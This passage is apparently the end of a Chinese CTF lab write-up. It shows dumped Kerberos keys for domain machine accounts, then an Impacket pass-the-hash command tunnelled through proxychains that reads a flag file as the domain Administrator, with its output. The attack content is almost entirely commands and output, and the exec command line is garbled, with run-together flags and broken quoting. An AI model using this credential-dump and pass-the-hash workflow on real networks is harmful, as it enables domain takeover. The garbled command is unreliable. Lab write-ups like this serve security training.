DC$:aes256-cts-hmac-sha1-96:66572ab130246de8c74f02f27fe736f1342024fbb72ac190fbc9ccffc37bc39e
DC$:aes128-cts-hmac-sha1-96:dbee9016a2ded03227c4c81426d11b12
DC$:des-cbc-md5:198567ba23f41357
WIN7$:aes256-cts-hmac-sha1-96:09f961b6c2cc9e6d1b560fd7771294f48a4bf9582081e0560f13178a3ae18685
WIN7$:aes128-cts-hmac-sha1-96:c622db0c90a76d8dadfbec422f5066c6
WIN7$:des-cbc-md5:e952ef4a7c2c897f
SAMTHEADMIN-26$:aes256-cts-hmac-sha1-96:affa464328fd7f84471607451f174b8edeca95c2cbdc0bb0640c99f5201b645c
SAMTHEADMIN-26$:aes128-cts-hmac-sha1-96:cbc0785917efb3dd9241eb2941d118de
SAMTHEADMIN-26$:des-cbc-md5:e6fb49cdb6345275
[*] Cleaning up...

┌──(root㉿kali)-[~/zerologon-tools]
└─#

然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
proxychains4 -f /tmp/pc1082.confexec.py -has-hashesef208c6485269c20db2cad21734fe7 'RED'REDTEAM/Administrator@10.0.0.12' "type C:\flag.txt"

[proxychains] config file found: /tmp/pc1082.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain ... 127.0.0.1:1082 ... 10.0.0.12:445 ... OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain ... 127.0.0.1:1082 ... 10.0.0.12:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1082 ... 10.0.0.12:49154 ... OK
flag{x'x'x'x'x'x'x'x'x'x'x9dbe741249f42}

┌──(root㉿kali)-[~/zerologon-tools]
└─#


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录